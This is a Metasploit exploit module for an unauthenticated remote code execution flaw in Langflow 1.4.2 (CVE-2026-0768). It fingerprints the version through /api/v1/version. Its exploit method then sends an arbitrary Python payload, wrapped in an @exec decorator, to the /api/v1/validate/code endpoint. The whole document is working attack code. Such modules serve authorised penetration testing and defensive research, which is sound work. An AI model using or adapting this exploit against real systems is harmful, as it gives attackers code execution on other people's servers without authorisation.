## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Langflow AI Validate Code Injection unauth RCE', 'Description' => %q{ Langflow version 1.4.2 is susceptible to unauthenticated remote code execution due to improper handling of the code parameter provided to the `/validate` endpoint. Arbitrary code is executed under the context of the backend Langflow process. }, 'Author' => [ 'Richard Howe ', # Msf module 'Peter Girnus' # Vulnerability Discovery ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-0768'] ], 'Targets' => [ [ 'Python payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 7860 }, 'Payload' => { 'BadChars' => '"' }, 'DisclosureDate' => '2026-09-02', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new( 'TARGETURI', [true, 'Base path of the Langflow application', '/'] ) ] ) end def check res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/v1/version') } ) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 doc = res.get_json_document version_str = doc.is_a?(Hash) ? doc['version'] : nil return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str package = doc.is_a?(Hash) ? doc['package'] : nil return Exploit::CheckCode::Unknown('Failed to identify application.') unless package return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow' version = Rex::Version.new(version_str.to_s) return Exploit::CheckCode::Unknown('Failed to parse version.') unless version # Vulnerable version of Langflow return Exploit::CheckCode::Appears("Version #{version} detected, which appears vulnerable.") if version == Rex::Version.new('1.4.2') # Patched version of Langflow Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") end def exploit res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/v1/validate/code'), 'headers' => { 'Content-Type' => 'application/json' }, 'data' => { 'code' => "@exec(\"#{payload.encode}\")\ndef #{rand_text_alpha(6)}():\n pass" }.to_json } ) fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200 end end